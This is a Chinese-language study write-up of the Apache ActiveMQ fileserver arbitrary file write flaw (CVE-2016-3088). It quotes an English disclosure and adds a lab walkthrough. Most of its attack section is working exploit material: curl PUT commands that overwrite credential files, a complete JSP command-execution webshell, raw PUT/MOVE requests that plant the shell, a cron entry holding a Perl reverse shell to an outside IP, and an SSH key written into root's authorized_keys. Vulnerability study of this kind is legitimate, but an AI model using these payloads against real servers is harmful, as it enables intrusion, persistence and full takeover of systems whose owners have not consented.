ActiveMQ任意文件写入漏洞(CVE-2016-3088)学习

背景介绍

  • ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
  • fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
  • 其使用率并不高
  • 文件操作容易出现漏洞

    漏洞概述

    CVE(CAN) ID: CVE-2016-3088
    Apache ActiveMQ是消息传输和集成模式提供程序。
    Apache ActiveMQ Fileserver web程序存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码

    漏洞攻击面影响

    fileserver支持写入文件,可以:
    写入webshell
    写入cron或ssh key等文件
    写入jar或jetty.xml等库和配置文件

    影响面

    导致对外开放8161端口的ActiveMQ受到黑客攻击

    影响版本

    Apache Group ActiveMQ 5.0.0 - 5.13.2

    修复版本

    Updates
    http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt

    漏洞详情

    技术细节

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality.  
    I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter.
    An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.
    Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:
    <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">
    <property name="constraint" ref="securityConstraint">
    <property name="pathSpec" value="/api/*,/admin/*,*.jsp">
    </property></property>
    </bean>
    Effectively blocking the upload of JSP files into contexts that will allow them to execute.
    I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:
    $ cat jetty-realm.properties hacker: hacker, admin
    $ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties
    This seems to have the disadvantage of requiring a reboot of the server to take effect.
    I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot.
    The attacker can then take a standard JSP shell:
    $ cat cmd.jsp
    <%@ page import="java.util.*,java.io.*"%>
    <%
    %>
    <HTML><BODY>
    Commands with JSP
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
    if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
    }
    %>
    </pre>
    </BODY></HTML>
    Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:
    $ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp
    And pop a calc on the server:
    $ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe
    Exploiting non-Windows servers
    All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked.
    That said, clients can specify the uploadUrl for a blob transfer, e.g.:
    tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com
    An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.
    Resolution
    The ActiveMQ project has released an advisory and patches.
    This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind.
    It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.

漏洞利用验证

漏洞探测

后台弱口令

admin admin

登入成功后

查看看ActiveMQ的绝对路径

访问http://192.168.202.128:8161/admin/test/systemProperties.jsp

漏洞利用一:

上传webshell

1
2
3
4
5
PUT /fileserver/webshell.txt HTTP/1.1
Host: 192.168.202.128:8161
Content-Length: 289658

webshell内容


返回204,说明上传成功
移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:

1
2
3
4
5
MOVE /fileserver/webshell.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: 192.168.202.128:8161
Connection: close
Content-Length: 0


移动成功,访问:
http://192.168.202.128:8161/api/s.jsp

漏洞利用二:

写入cron

先上传cron配置文件
注意,换行一定要\n,不能是\r\n,否则crontab执行会失败

1
2
3
4
5
6
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.202.128:8161
Content-Length: 252

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="1.1.1.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##


将其移动到/etc/cron.d/root:

1
2
3
4
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.202.128:8161
Connection: close


主机设置好监听,等待反弹shell:

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

写入ssh key

先在本地使用ssh-keygen生成密钥对

1
ssh-keygen -t RSA


把公钥上传到目标服务器


把已上传的公钥文件MOVE到以下路径并重新命名

1
/root/.ssh/authorized_keys


1
2
3
4
MOVE /fileserver/id_rsa.pub HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: 192.168.202.128:8161
Connection: close

远程直接访问目标主机

漏洞利用三:

写入jetty.xml或jar

可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。
有的情况下jetty.xml和jar等所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。
参考ph牛思路

修复建议

升级补丁

时间线

发布日期:2016-05-19
更新日期:2016-05-25

参考文档

CVE-2016-3088漏洞详情
ActiveMQ任意文件写入漏洞(CVE-2016-3088)